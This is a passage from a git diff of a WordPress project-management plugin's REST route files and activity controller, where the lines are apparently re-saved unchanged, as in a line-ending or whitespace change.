) -// ->permission( [Administrator::class] ) -// ->validator( Foo_Validator::class ) -// ->sanitizer( Foo_Sanitizer::class ); - -// $router->delete( 'foo/{id}', 'WeDevs/PM/Foo/Controllers/Foo_Controller@destroy' ) -// ->permission( [Administrator::class] ) +get( 'foo', 'WeDevs/PM/Foo/Controllers/Foo_Controller@index' ); + +// $router->post( 'foo', 'WeDevs/PM/Foo/Controllers/Foo_Controller@store' ) +// ->permission( [Administrator::class] ) +// ->validator( Foo_Validator::class ); + +// $router->get( 'foo/{id}', 'WeDevs/PM/Foo/Controllers/Foo_Controller@show' ) +// ->permission( [Administrator::class] ) +// ->sanitizer( Foo_Sanitizer::class ); + +// $router->put( 'foo/{id}', 'WeDevs/PM/Foo/Controllers/Foo_Controller@update' ) +// ->permission( [Administrator::class] ) +// ->validator( Foo_Validator::class ) +// ->sanitizer( Foo_Sanitizer::class ); + +// $router->delete( 'foo/{id}', 'WeDevs/PM/Foo/Controllers/Foo_Controller@destroy' ) +// ->permission( [Administrator::class] ) // ->sanitizer( Foo_Sanitizer::class ); \ No newline at end of file diff --git a/routes/search.php b/routes/search.php index 760d0c6a3..6dd0dedd9 100644 --- a/routes/search.php +++ b/routes/search.php @@ -1,14 +1,14 @@ -get( 'search', 'WeDevs\PM\Search\Controllers\Search_Controller@search' ) - ->permission( [ $authentic ] ); - -$router->get( 'admin-topbar-search', 'WeDevs\PM\Search\Controllers\Search_Controller@searchTopBar' ) - ->permission( [ $authentic ] ); +get( 'search', 'WeDevs\PM\Search\Controllers\Search_Controller@search' ) + ->permission( [ $authentic ] ); + +$router->get( 'admin-topbar-search', 'WeDevs\PM\Search\Controllers\Search_Controller@searchTopBar' ) + ->permission( [ $authentic ] ); diff --git a/routes/settings.php b/routes/settings.php index e2f1f0f81..66a52089b 100644 --- a/routes/settings.php +++ b/routes/settings.php @@ -1,41 +1,41 @@ -get( 'settings', 'WeDevs/PM/Settings/Controllers/Settings_Controller@index' ) - ->permission( [ $authentic ] ); - -$router->post( 'settings', 'WeDevs/PM/Settings/Controllers/Settings_Controller@store' ) - ->permission( ['WeDevs\PM\Core\Permissions\Settings_Page_Access'] ); - -$router->post( 'settings/notice', 'WeDevs/PM/Settings/Controllers/Settings_Controller@notice' ) - ->permission( [ $authentic ] ); -//$router->get( 'projects/settings/{key}/key', 'WeDevs/PM/Settings/Controllers/Settings_Controller@pluck_without_project' );; - -//$router->get( 'projects/{project_id}/settings/{key}/key', 'WeDevs/PM/Settings/Controllers/Settings_Controller@pluck_with_project' );; -$router->get( 'projects/{project_id}/settings', 'WeDevs/PM/Settings/Controllers/Settings_Controller@index' ) - ->permission( [ $authentic ] ); - -$router->post( 'projects/{project_id}/settings', 'WeDevs/PM/Settings/Controllers/Settings_Controller@store' ) - ->permission( ['WeDevs\PM\Core\Permissions\Project_Settings_Page_Access'] ); - -$router->post( 'projects/{project_id}/delete/{id}/settings', 'WeDevs/PM/Settings/Controllers/Settings_Controller@destroy' ) - ->permission( ['WeDevs\PM\Core\Permissions\Project_Settings_Page_Access'] ); - -$router->post( 'settings/task-types', 'WeDevs/PM/Settings/Controllers/Task_Types_Controller@store' ) - ->permission( ['WeDevs\PM\Core\Permissions\Settings_Page_Access'] ) - ->sanitizer( 'WeDevs\PM\Settings\Sanitizers\Task_Type_Sanitizer' ); - -$router->get( 'settings/task-types', 'WeDevs/PM/Settings/Controllers/Task_Types_Controller@index' ) - ->permission( [ $authentic ] ); - -$router->post( 'settings/task-types/{id}', 'WeDevs/PM/Settings/Controllers/Task_Types_Controller@update_task_type' ) - ->permission( ['WeDevs\PM\Core\Permissions\Settings_Page_Access'] ) - ->sanitizer( 'WeDevs\PM\Settings\Sanitizers\Task_Type_Sanitizer' ); - -$router->post( 'settings/task-types/{id}/delete', 'WeDevs/PM/Settings/Controllers/Task_Types_Controller@destroy_task_type' ) - ->permission( ['WeDevs\PM\Core\Permissions\Settings_Page_Access'] ); - +get( 'settings', 'WeDevs/PM/Settings/Controllers/Settings_Controller@index' ) + ->permission( [ $authentic ] ); + +$router->post( 'settings', 'WeDevs/PM/Settings/Controllers/Settings_Controller@store' ) + ->permission( ['WeDevs\PM\Core\Permissions\Settings_Page_Access'] ); + +$router->post( 'settings/notice', 'WeDevs/PM/Settings/Controllers/Settings_Controller@notice' ) + ->permission( [ $authentic ] ); +//$router->get( 'projects/settings/{key}/key', 'WeDevs/PM/Settings/Controllers/Settings_Controller@pluck_without_project' );; + +//$router->get( 'projects/{project_id}/settings/{key}/key', 'WeDevs/PM/Settings/Controllers/Settings_Controller@pluck_with_project' );; +$router->get( 'projects/{project_id}/settings', 'WeDevs/PM/Settings/Controllers/Settings_Controller@index' ) + ->permission( [ $authentic ] ); + +$router->post( 'projects/{project_id}/settings', 'WeDevs/PM/Settings/Controllers/Settings_Controller@store' ) + ->permission( ['WeDevs\PM\Core\Permissions\Project_Settings_Page_Access'] ); + +$router->post( 'projects/{project_id}/delete/{id}/settings', 'WeDevs/PM/Settings/Controllers/Settings_Controller@destroy' ) + ->permission( ['WeDevs\PM\Core\Permissions\Project_Settings_Page_Access'] ); + +$router->post( 'settings/task-types', 'WeDevs/PM/Settings/Controllers/Task_Types_Controller@store' ) + ->permission( ['WeDevs\PM\Core\Permissions\Settings_Page_Access'] ) + ->sanitizer( 'WeDevs\PM\Settings\Sanitizers\Task_Type_Sanitizer' ); + +$router->get( 'settings/task-types', 'WeDevs/PM/Settings/Controllers/Task_Types_Controller@index' ) + ->permission( [ $authentic ] ); + +$router->post( 'settings/task-types/{id}', 'WeDevs/PM/Settings/Controllers/Task_Types_Controller@update_task_type' ) + ->permission( ['WeDevs\PM\Core\Permissions\Settings_Page_Access'] ) + ->sanitizer( 'WeDevs\PM\Settings\Sanitizers\Task_Type_Sanitizer' ); + +$router->post( 'settings/task-types/{id}/delete', 'WeDevs/PM/Settings/Controllers/Task_Types_Controller@destroy_task_type' ) + ->permission( ['WeDevs\PM\Core\Permissions\Settings_Page_Access'] ); + diff --git a/routes/task-list.php b/routes/task-list.php index d14656530..7925b6db8 100644 --- a/routes/task-list.php +++ b/routes/task-list.php @@ -1,42 +1,42 @@ -get( 'projects/{project_id}/task-lists', 'WeDevs/PM/Task_List/Controllers/Task_List_Controller@index' ) - ->permission( ['WeDevs\PM\Core\Permissions\Access_Project'] ); - -$router->get( 'advanced/{project_id}/task-lists', 'WeDevs\PM\Task_List\Helper\Task_List@get_task_lists' ) - ->permission( ['WeDevs\PM\Core\Permissions\Access_Project'] ); - -$router->post( 'projects/{project_id}/task-lists', 'WeDevs/PM/Task_List/Controllers/Task_List_Controller@store' ) - ->permission( ['WeDevs\PM\Core\Permissions\Create_Task_List'] ) - ->validator( 'WeDevs\PM\Task_List\Validators\Create_Task_List' ) - ->sanitizer( 'WeDevs\PM\Task_List\Validators\Task_List_Sanitizer' ); - -$router->get( 'projects/{project_id}/task-lists/{task_list_id}', 'WeDevs/PM/Task_List/Controllers/Task_List_Controller@show' ) - ->permission( ['WeDevs\PM\Core\Permissions\Access_Project'] ); - -$router->post( 'projects/{project_id}/task-lists/{task_list_id}/update', 'WeDevs/PM/Task_List/Controllers/Task_List_Controller@update' ) - ->permission( ['WeDevs\PM\Core\Permissions\Edit_Task_List'] ) - ->validator( 'WeDevs\PM\Task_List\Validators\Update_Task_List' ) - ->sanitizer( 'WeDevs\PM\Task_List\Validators\Task_List_Sanitizer' ); - -$router->post( 'projects/{project_id}/task-lists/{task_list_id}/delete', 'WeDevs/PM/Task_List/Controllers/Task_List_Controller@destroy' ) - ->permission( ['WeDevs\PM\Core\Permissions\Edit_Task_List'] ); - -$router->put( 'projects/{project_id}/task-lists/{task_list_id}/attach-users', 'WeDevs/PM/Task_List/Controllers/Task_List_Controller@attach_users' ) - ->permission( ['WeDevs\PM\Core\Permissions\Edit_Task_List'] ); - -$router->put( 'projects/{project_id}/task-lists/{task_list_id}/detach-users', 'WeDevs/PM/Task_List/Controllers/Task_List_Controller@detach_users' ) - ->permission( ['WeDevs\PM\Core\Permissions\Edit_Task_List'] ); - -$router->post( 'projects/{project_id}/task-lists/privacy/{task_list_id}', 'WeDevs/PM/Task_List/Controllers/Task_List_Controller@privacy' ) - ->permission( ['WeDevs\PM\Core\Permissions\Edit_Task_List'] ); - -$router->post( 'projects/{project_id}/lists/sorting', 'WeDevs/PM/Task_List/Controllers/Task_List_Controller@list_sorting' ) - ->permission( ['WeDevs\PM\Core\Permissions\Project_Manage_Capability'] ); - -$router->get( 'projects/{project_id}/lists/search', 'WeDevs/PM/Task_List/Controllers/Task_List_Controller@list_search' ) - ->permission( ['WeDevs\PM\Core\Permissions\Access_Project'] ); +get( 'projects/{project_id}/task-lists', 'WeDevs/PM/Task_List/Controllers/Task_List_Controller@index' ) + ->permission( ['WeDevs\PM\Core\Permissions\Access_Project'] ); + +$router->get( 'advanced/{project_id}/task-lists', 'WeDevs\PM\Task_List\Helper\Task_List@get_task_lists' ) + ->permission( ['WeDevs\PM\Core\Permissions\Access_Project'] ); + +$router->post( 'projects/{project_id}/task-lists', 'WeDevs/PM/Task_List/Controllers/Task_List_Controller@store' ) + ->permission( ['WeDevs\PM\Core\Permissions\Create_Task_List'] ) + ->validator( 'WeDevs\PM\Task_List\Validators\Create_Task_List' ) + ->sanitizer( 'WeDevs\PM\Task_List\Validators\Task_List_Sanitizer' ); + +$router->get( 'projects/{project_id}/task-lists/{task_list_id}', 'WeDevs/PM/Task_List/Controllers/Task_List_Controller@show' ) + ->permission( ['WeDevs\PM\Core\Permissions\Access_Project'] ); + +$router->post( 'projects/{project_id}/task-lists/{task_list_id}/update', 'WeDevs/PM/Task_List/Controllers/Task_List_Controller@update' ) + ->permission( ['WeDevs\PM\Core\Permissions\Edit_Task_List'] ) + ->validator( 'WeDevs\PM\Task_List\Validators\Update_Task_List' ) + ->sanitizer( 'WeDevs\PM\Task_List\Validators\Task_List_Sanitizer' ); + +$router->post( 'projects/{project_id}/task-lists/{task_list_id}/delete', 'WeDevs/PM/Task_List/Controllers/Task_List_Controller@destroy' ) + ->permission( ['WeDevs\PM\Core\Permissions\Edit_Task_List'] ); + +$router->put( 'projects/{project_id}/task-lists/{task_list_id}/attach-users', 'WeDevs/PM/Task_List/Controllers/Task_List_Controller@attach_users' ) + ->permission( ['WeDevs\PM\Core\Permissions\Edit_Task_List'] ); + +$router->put( 'projects/{project_id}/task-lists/{task_list_id}/detach-users', 'WeDevs/PM/Task_List/Controllers/Task_List_Controller@detach_users' ) + ->permission( ['WeDevs\PM\Core\Permissions\Edit_Task_List'] ); + +$router->post( 'projects/{project_id}/task-lists/privacy/{task_list_id}', 'WeDevs/PM/Task_List/Controllers/Task_List_Controller@privacy' ) + ->permission( ['WeDevs\PM\Core\Permissions\Edit_Task_List'] ); + +$router->post( 'projects/{project_id}/lists/sorting', 'WeDevs/PM/Task_List/Controllers/Task_List_Controller@list_sorting' ) + ->permission( ['WeDevs\PM\Core\Permissions\Project_Manage_Capability'] ); + +$router->get( 'projects/{project_id}/lists/search', 'WeDevs/PM/Task_List/Controllers/Task_List_Controller@list_search' ) + ->permission( ['WeDevs\PM\Core\Permissions\Access_Project'] ); diff --git a/routes/task.php b/routes/task.php index e75be3644..ff26fffb9 100644 --- a/routes/task.php +++ b/routes/task.php @@ -1,78 +1,78 @@ -get( 'projects/{project_id}/tasks', 'WeDevs/PM/Task/Controllers/Task_Controller@index' ) - ->permission(['WeDevs\PM\Core\Permissions\Access_Project']); - -$router->get( 'tasks', 'WeDevs/PM/Task/Helper/Task@get_tasks' ) - ->permission( [ $authentic ] ); - -$router->get( 'advanced/tasks', 'WeDevs/PM/Task/Helper/Task@get_tasks' ) - ->permission( [ $authentic ] ); - -$router->get( 'advanced/taskscsv', 'WeDevs/PM/Task/Helper/Task@get_taskscsv' ) - ->permission( [ $authentic ] ); - -$router->post( 'projects/{project_id}/tasks', 'WeDevs/PM/Task/Controllers/Task_Controller@store' ) - ->permission(['WeDevs\PM\Core\Permissions\Create_Task']) - ->validator( 'WeDevs\PM\Task\Validators\Create_Task' ) - ->sanitizer( 'WeDevs\PM\Task\Sanitizers\Task_Sanitizer' ); - -$router->post( 'projects/{project_id}/tasks/sorting', 'WeDevs/PM/Task/Controllers/Task_Controller@task_sorting' ) - ->permission( [ $authentic ] ); - -$router->get( 'projects/{project_id}/tasks/{task_id}', 'WeDevs/PM/Task/Controllers/Task_Controller@show' ) - ->permission(['WeDevs\PM\Core\Permissions\Access_Project']); - -$router->post( 'projects/{project_id}/tasks/{task_id}/update', 'WeDevs/PM/Task/Controllers/Task_Controller@update' ) - ->permission(['WeDevs\PM\Core\Permissions\Edit_Task']) - ->validator( 'WeDevs\PM\Task\Validators\Create_Task' ) - ->sanitizer( 'WeDevs\PM\Task\Sanitizers\Task_Sanitizer' ); - -$router->post( 'projects/{project_id}/tasks/{task_id}/change-status', 'WeDevs/PM/Task/Controllers/Task_Controller@change_status' ) - ->permission(['WeDevs\PM\Core\Permissions\Complete_Task']); - -$router->post( 'projects/{project_id}/tasks/{task_id}/delete', 'WeDevs/PM/Task/Controllers/Task_Controller@destroy' ) - ->permission(['WeDevs\PM\Core\Permissions\Edit_Task']); - -$router->put( 'projects/{project_id}/tasks/{task_id}/attach-users', 'WeDevs/PM/Task/Controllers/Task_Controller@attach_users' ) - ->permission(['WeDevs\PM\Core\Permissions\Edit_Task']); - -$router->put( 'projects/{project_id}/tasks/{task_id}/detach-users', 'WeDevs/PM/Task/Controllers/Task_Controller@detach_users' ) - ->permission(['WeDevs\PM\Core\Permissions\Edit_Task']); - -$router->put( 'projects/{project_id}/tasks/{task_id}/boards', 'WeDevs/PM/Task/Controllers/Task_Controller@attach_to_board' ) - ->permission(['WeDevs\PM\Core\Permissions\Edit_Task']); - -$router->delete( 'projects/{project_id}/tasks/{task_id}/boards', 'WeDevs/PM/Task/Controllers/Task_Controller@detach_from_board' ) - ->permission(['WeDevs\PM\Core\Permissions\Edit_Task']); - -$router->put( 'projects/{project_id}/tasks/reorder', 'WeDevs/PM/Task/Controllers/Task_Controller@reorder' ) - ->permission(['WeDevs\PM\Core\Permissions\Project_Manage_Capability']); - -$router->post( 'projects/{project_id}/tasks/privacy/{task_id}', 'WeDevs/PM/Task/Controllers/Task_Controller@privacy' ) - ->permission(['WeDevs\PM\Core\Permissions\Edit_Task']); - -$router->post( 'projects/{project_id}/tasks/filter', 'WeDevs/PM/Task/Controllers/Task_Controller@filter' ) - ->permission(['WeDevs\PM\Core\Permissions\Access_Project']); - -$router->post( 'projects/{project_id}/tasks/{task_id}/activity', 'WeDevs/PM/Task/Controllers/Task_Controller@activities' ) - ->permission(['WeDevs\PM\Core\Permissions\Access_Project']); - -$router->post( 'tasks/{task_id}/duplicate', 'WeDevs/PM/Task/Controllers/Task_Controller@duplicate' ) - ->permission(['WeDevs\PM\Core\Permissions\Edit_Task']); - -$router->get( 'projects/{project_id}/task-lists/{list_id}/more/tasks', 'WeDevs/PM/Task/Controllers/Task_Controller@load_more_tasks' ) - ->permission(['WeDevs\PM\Core\Permissions\Access_Project']); - - - - - +get( 'projects/{project_id}/tasks', 'WeDevs/PM/Task/Controllers/Task_Controller@index' ) + ->permission(['WeDevs\PM\Core\Permissions\Access_Project']); + +$router->get( 'tasks', 'WeDevs/PM/Task/Helper/Task@get_tasks' ) + ->permission( [ $authentic ] ); + +$router->get( 'advanced/tasks', 'WeDevs/PM/Task/Helper/Task@get_tasks' ) + ->permission( [ $authentic ] ); + +$router->get( 'advanced/taskscsv', 'WeDevs/PM/Task/Helper/Task@get_taskscsv' ) + ->permission( [ $authentic ] ); + +$router->post( 'projects/{project_id}/tasks', 'WeDevs/PM/Task/Controllers/Task_Controller@store' ) + ->permission(['WeDevs\PM\Core\Permissions\Create_Task']) + ->validator( 'WeDevs\PM\Task\Validators\Create_Task' ) + ->sanitizer( 'WeDevs\PM\Task\Sanitizers\Task_Sanitizer' ); + +$router->post( 'projects/{project_id}/tasks/sorting', 'WeDevs/PM/Task/Controllers/Task_Controller@task_sorting' ) + ->permission( [ $authentic ] ); + +$router->get( 'projects/{project_id}/tasks/{task_id}', 'WeDevs/PM/Task/Controllers/Task_Controller@show' ) + ->permission(['WeDevs\PM\Core\Permissions\Access_Project']); + +$router->post( 'projects/{project_id}/tasks/{task_id}/update', 'WeDevs/PM/Task/Controllers/Task_Controller@update' ) + ->permission(['WeDevs\PM\Core\Permissions\Edit_Task']) + ->validator( 'WeDevs\PM\Task\Validators\Create_Task' ) + ->sanitizer( 'WeDevs\PM\Task\Sanitizers\Task_Sanitizer' ); + +$router->post( 'projects/{project_id}/tasks/{task_id}/change-status', 'WeDevs/PM/Task/Controllers/Task_Controller@change_status' ) + ->permission(['WeDevs\PM\Core\Permissions\Complete_Task']); + +$router->post( 'projects/{project_id}/tasks/{task_id}/delete', 'WeDevs/PM/Task/Controllers/Task_Controller@destroy' ) + ->permission(['WeDevs\PM\Core\Permissions\Edit_Task']); + +$router->put( 'projects/{project_id}/tasks/{task_id}/attach-users', 'WeDevs/PM/Task/Controllers/Task_Controller@attach_users' ) + ->permission(['WeDevs\PM\Core\Permissions\Edit_Task']); + +$router->put( 'projects/{project_id}/tasks/{task_id}/detach-users', 'WeDevs/PM/Task/Controllers/Task_Controller@detach_users' ) + ->permission(['WeDevs\PM\Core\Permissions\Edit_Task']); + +$router->put( 'projects/{project_id}/tasks/{task_id}/boards', 'WeDevs/PM/Task/Controllers/Task_Controller@attach_to_board' ) + ->permission(['WeDevs\PM\Core\Permissions\Edit_Task']); + +$router->delete( 'projects/{project_id}/tasks/{task_id}/boards', 'WeDevs/PM/Task/Controllers/Task_Controller@detach_from_board' ) + ->permission(['WeDevs\PM\Core\Permissions\Edit_Task']); + +$router->put( 'projects/{project_id}/tasks/reorder', 'WeDevs/PM/Task/Controllers/Task_Controller@reorder' ) + ->permission(['WeDevs\PM\Core\Permissions\Project_Manage_Capability']); + +$router->post( 'projects/{project_id}/tasks/privacy/{task_id}', 'WeDevs/PM/Task/Controllers/Task_Controller@privacy' ) + ->permission(['WeDevs\PM\Core\Permissions\Edit_Task']); + +$router->post( 'projects/{project_id}/tasks/filter', 'WeDevs/PM/Task/Controllers/Task_Controller@filter' ) + ->permission(['WeDevs\PM\Core\Permissions\Access_Project']); + +$router->post( 'projects/{project_id}/tasks/{task_id}/activity', 'WeDevs/PM/Task/Controllers/Task_Controller@activities' ) + ->permission(['WeDevs\PM\Core\Permissions\Access_Project']); + +$router->post( 'tasks/{task_id}/duplicate', 'WeDevs/PM/Task/Controllers/Task_Controller@duplicate' ) + ->permission(['WeDevs\PM\Core\Permissions\Edit_Task']); + +$router->get( 'projects/{project_id}/task-lists/{list_id}/more/tasks', 'WeDevs/PM/Task/Controllers/Task_Controller@load_more_tasks' ) + ->permission(['WeDevs\PM\Core\Permissions\Access_Project']); + + + + + diff --git a/routes/tools.php b/routes/tools.php index 270a450f5..0eac90470 100644 --- a/routes/tools.php +++ b/routes/tools.php @@ -1,51 +1,51 @@ -post( 'tools/trello-import', 'WeDevs/PM/Tools/Controllers/TrelloController@import' ) -// ->permission(['WeDevs\PM\Core\Permissions\Project_Manage_Capability']); - -// $router->get( 'tools/trello-imported', 'WeDevs/PM/Tools/Controllers/TrelloController@showSaved' ) -// ->permission(['WeDevs\PM\Core\Permissions\Project_Manage_Capability']); - -// $router->get( 'tools/trello-in-process', 'WeDevs/PM/Tools/Controllers/TrelloController@showInProcess' ) -// ->permission(['WeDevs\PM\Core\Permissions\Project_Manage_Capability']); - -// //Asana Importing -// $router->post( 'tools/asana-import', 'WeDevs/PM/Tools/Controllers/AsanaController@import' ) -// ->permission(['WeDevs\PM\Core\Permissions\Project_Manage_Capability']); - -// $router->get( 'tools/asana-imported', 'WeDevs/PM/Tools/Controllers/AsanaController@showSaved' ) -// ->permission(['WeDevs\PM\Core\Permissions\Project_Manage_Capability']); - -// $router->get( 'tools/asana-in-process', 'WeDevs/PM/Tools/Controllers/AsanaController@showInProcess' ) -// ->permission(['WeDevs\PM\Core\Permissions\Project_Manage_Capability']); - -// //Active Collab Importing -// $router->post( 'tools/active-collab-auth', 'WeDevs/PM/Tools/Controllers/ActivecolController@authAc' ) -// ->permission(['WeDevs\PM\Core\Permissions\Project_Manage_Capability']); - -// $router->post( 'tools/active-collab-tokenize', 'WeDevs/PM/Tools/Controllers/ActivecolController@tokenAc' ) -// ->permission(['WeDevs\PM\Core\Permissions\Project_Manage_Capability']); - -// $router->get( 'tools/active-collab-projects', 'WeDevs/PM/Tools/Controllers/ActivecolController@projectsAC' ) -// ->permission(['WeDevs\PM\Core\Permissions\Project_Manage_Capability']); - -// $router->post( 'tools/active-collab-import', 'WeDevs/PM/Tools/Controllers/ActivecolController@import' ) -// ->permission(['WeDevs\PM\Core\Permissions\Project_Manage_Capability']); - -// $router->get( 'tools/active-collab-imported', 'WeDevs/PM/Tools/Controllers/ActivecolController@showSaved' ) -// ->permission(['WeDevs\PM\Core\Permissions\Project_Manage_Capability']); - -// $router->get( 'tools/active-collab-in-process', 'WeDevs/PM/Tools/Controllers/ActivecolController@showInProcess' ) -// ->permission(['WeDevs\PM\Core\Permissions\Project_Manage_Capability']); +post( 'tools/trello-import', 'WeDevs/PM/Tools/Controllers/TrelloController@import' ) +// ->permission(['WeDevs\PM\Core\Permissions\Project_Manage_Capability']); + +// $router->get( 'tools/trello-imported', 'WeDevs/PM/Tools/Controllers/TrelloController@showSaved' ) +// ->permission(['WeDevs\PM\Core\Permissions\Project_Manage_Capability']); + +// $router->get( 'tools/trello-in-process', 'WeDevs/PM/Tools/Controllers/TrelloController@showInProcess' ) +// ->permission(['WeDevs\PM\Core\Permissions\Project_Manage_Capability']); + +// //Asana Importing +// $router->post( 'tools/asana-import', 'WeDevs/PM/Tools/Controllers/AsanaController@import' ) +// ->permission(['WeDevs\PM\Core\Permissions\Project_Manage_Capability']); + +// $router->get( 'tools/asana-imported', 'WeDevs/PM/Tools/Controllers/AsanaController@showSaved' ) +// ->permission(['WeDevs\PM\Core\Permissions\Project_Manage_Capability']); + +// $router->get( 'tools/asana-in-process', 'WeDevs/PM/Tools/Controllers/AsanaController@showInProcess' ) +// ->permission(['WeDevs\PM\Core\Permissions\Project_Manage_Capability']); + +// //Active Collab Importing +// $router->post( 'tools/active-collab-auth', 'WeDevs/PM/Tools/Controllers/ActivecolController@authAc' ) +// ->permission(['WeDevs\PM\Core\Permissions\Project_Manage_Capability']); + +// $router->post( 'tools/active-collab-tokenize', 'WeDevs/PM/Tools/Controllers/ActivecolController@tokenAc' ) +// ->permission(['WeDevs\PM\Core\Permissions\Project_Manage_Capability']); + +// $router->get( 'tools/active-collab-projects', 'WeDevs/PM/Tools/Controllers/ActivecolController@projectsAC' ) +// ->permission(['WeDevs\PM\Core\Permissions\Project_Manage_Capability']); + +// $router->post( 'tools/active-collab-import', 'WeDevs/PM/Tools/Controllers/ActivecolController@import' ) +// ->permission(['WeDevs\PM\Core\Permissions\Project_Manage_Capability']); + +// $router->get( 'tools/active-collab-imported', 'WeDevs/PM/Tools/Controllers/ActivecolController@showSaved' ) +// ->permission(['WeDevs\PM\Core\Permissions\Project_Manage_Capability']); + +// $router->get( 'tools/active-collab-in-process', 'WeDevs/PM/Tools/Controllers/ActivecolController@showInProcess' ) +// ->permission(['WeDevs\PM\Core\Permissions\Project_Manage_Capability']); diff --git a/routes/trello.php b/routes/trello.php index 16ea9cc20..5484a6e11 100644 --- a/routes/trello.php +++ b/routes/trello.php @@ -1,31 +1,31 @@ -get( 'trello', 'WeDevs/PM/Imports/Controllers/Trello_Controller@index' ); -$router->post( 'trello', 'WeDevs/PM/Imports/Controllers/Trello_Controller@index' ); - -$router->get( 'trello/test', 'WeDevs/PM/Imports/Controllers/Trello_Controller@test' ); -$router->post( 'trello/test', 'WeDevs/PM/Imports/Controllers/Trello_Controller@test' ); - - -$router->get( 'trello/get_user', 'WeDevs/PM/Imports/Controllers/Trello_Controller@get_user' ); -$router->post( 'trello/get_user', 'WeDevs/PM/Imports/Controllers/Trello_Controller@get_user' ); - - -$router->get( 'trello/get_boards', 'WeDevs/PM/Imports/Controllers/Trello_Controller@get_boards' ); -$router->post( 'trello/get_boards', 'WeDevs/PM/Imports/Controllers/Trello_Controller@get_boards' ); - -$router->get( 'trello/get_lists', 'WeDevs/PM/Imports/Controllers/Trello_Controller@get_lists' ); -$router->post( 'trello/get_lists', 'WeDevs/PM/Imports/Controllers/Trello_Controller@get_lists' ); - -$router->get( 'trello/get_cards', 'WeDevs/PM/Imports/Controllers/Trello_Controller@get_cards' ); -$router->post( 'trello/get_cards', 'WeDevs/PM/Imports/Controllers/Trello_Controller@get_cards' ); - -$router->get( 'trello/get_subcards', 'WeDevs/PM/Imports/Controllers/Trello_Controller@get_subcards' ); -$router->post( 'trello/get_subcards', 'WeDevs/PM/Imports/Controllers/Trello_Controller@get_subcards' ); - -$router->get( 'trello/get_users', 'WeDevs/PM/Imports/Controllers/Trello_Controller@get_users' ); +get( 'trello', 'WeDevs/PM/Imports/Controllers/Trello_Controller@index' ); +$router->post( 'trello', 'WeDevs/PM/Imports/Controllers/Trello_Controller@index' ); + +$router->get( 'trello/test', 'WeDevs/PM/Imports/Controllers/Trello_Controller@test' ); +$router->post( 'trello/test', 'WeDevs/PM/Imports/Controllers/Trello_Controller@test' ); + + +$router->get( 'trello/get_user', 'WeDevs/PM/Imports/Controllers/Trello_Controller@get_user' ); +$router->post( 'trello/get_user', 'WeDevs/PM/Imports/Controllers/Trello_Controller@get_user' ); + + +$router->get( 'trello/get_boards', 'WeDevs/PM/Imports/Controllers/Trello_Controller@get_boards' ); +$router->post( 'trello/get_boards', 'WeDevs/PM/Imports/Controllers/Trello_Controller@get_boards' ); + +$router->get( 'trello/get_lists', 'WeDevs/PM/Imports/Controllers/Trello_Controller@get_lists' ); +$router->post( 'trello/get_lists', 'WeDevs/PM/Imports/Controllers/Trello_Controller@get_lists' ); + +$router->get( 'trello/get_cards', 'WeDevs/PM/Imports/Controllers/Trello_Controller@get_cards' ); +$router->post( 'trello/get_cards', 'WeDevs/PM/Imports/Controllers/Trello_Controller@get_cards' ); + +$router->get( 'trello/get_subcards', 'WeDevs/PM/Imports/Controllers/Trello_Controller@get_subcards' ); +$router->post( 'trello/get_subcards', 'WeDevs/PM/Imports/Controllers/Trello_Controller@get_subcards' ); + +$router->get( 'trello/get_users', 'WeDevs/PM/Imports/Controllers/Trello_Controller@get_users' ); $router->post( 'trello/get_users', 'WeDevs/PM/Imports/Controllers/Trello_Controller@get_users' ); \ No newline at end of file diff --git a/routes/user.php b/routes/user.php index 6a4440168..d74835cc6 100644 --- a/routes/user.php +++ b/routes/user.php @@ -1,24 +1,24 @@ -get( 'users', 'WeDevs/PM/User/Controllers/User_Controller@index' ) - ->permission(['WeDevs\PM\Core\Permissions\Authentic']); -$router->post( 'users', 'WeDevs/PM/User/Controllers/User_Controller@store' ) - ->permission(['WeDevs\PM\Core\Permissions\Authentic']); -$router->get( 'users/{id}', 'WeDevs/PM/User/Controllers/User_Controller@show' ) - ->permission(['WeDevs\PM\Core\Permissions\Authentic']); - -$router->get( 'users/search', 'WeDevs/PM/User/Controllers/User_Controller@search' ) - ->permission(['WeDevs\PM\Core\Permissions\Authentic']); -$router->put( 'users/{user_id}/roles', 'WeDevs/PM/User/Controllers/User_Controller@update_role' ) - ->permission(['WeDevs\PM\Core\Permissions\Authentic']); - -$router->post( 'save_users_map_name', 'WeDevs/PM/User/Controllers/User_Controller@save_users_map_name' ) - ->permission(['WeDevs\PM\Core\Permissions\Authentic']); - -$router->get( 'user-all-projects', 'WeDevs/PM/User/Controllers/User_Controller@get_user_all_projects' ) - ->permission(['WeDevs\PM\Core\Permissions\Authentic']); +get( 'users', 'WeDevs/PM/User/Controllers/User_Controller@index' ) + ->permission(['WeDevs\PM\Core\Permissions\Authentic']); +$router->post( 'users', 'WeDevs/PM/User/Controllers/User_Controller@store' ) + ->permission(['WeDevs\PM\Core\Permissions\Authentic']); +$router->get( 'users/{id}', 'WeDevs/PM/User/Controllers/User_Controller@show' ) + ->permission(['WeDevs\PM\Core\Permissions\Authentic']); + +$router->get( 'users/search', 'WeDevs/PM/User/Controllers/User_Controller@search' ) + ->permission(['WeDevs\PM\Core\Permissions\Authentic']); +$router->put( 'users/{user_id}/roles', 'WeDevs/PM/User/Controllers/User_Controller@update_role' ) + ->permission(['WeDevs\PM\Core\Permissions\Authentic']); + +$router->post( 'save_users_map_name', 'WeDevs/PM/User/Controllers/User_Controller@save_users_map_name' ) + ->permission(['WeDevs\PM\Core\Permissions\Authentic']); + +$router->get( 'user-all-projects', 'WeDevs/PM/User/Controllers/User_Controller@get_user_all_projects' ) + ->permission(['WeDevs\PM\Core\Permissions\Authentic']); diff --git a/src/Activity/Controllers/Activity_Controller.php b/src/Activity/Controllers/Activity_Controller.php index bee165544..58168b8a6 100644 --- a/src/Activity/Controllers/Activity_Controller.php +++ b/src/Activity/Controllers/Activity_Controller.php @@ -1,57 +1,57 @@ -get_param( 'per_page' ); - $page = $request->get_param( 'page' ); - $project_id = $request->get_param( 'project_id' ); - - $per_page = $per_page ? $per_page : 20; - $page = $page ? intval($page) : 1; - - Paginator::currentPageResolver(function () use ($page) { - return $page; - }); - - if ( empty( $project_id ) ) { - $activities = Activity::orderBy( 'created_at', 'DESC' ) - ->paginate( $per_page ); - } else { - $activities = Activity::where( pm_tb_prefix() .'pm_activities.project_id', $project_id ) - ->orderBy( pm_tb_prefix() .'pm_activities.created_at', 'desc' ) - ->paginate( $per_page ); - - } - - $activity_collection = $activities->getCollection(); - $resource = new Collection( $activity_collection, new Activity_Transformer ); - - $resource->setPaginator( new IlluminatePaginatorAdapter( $activities ) ); 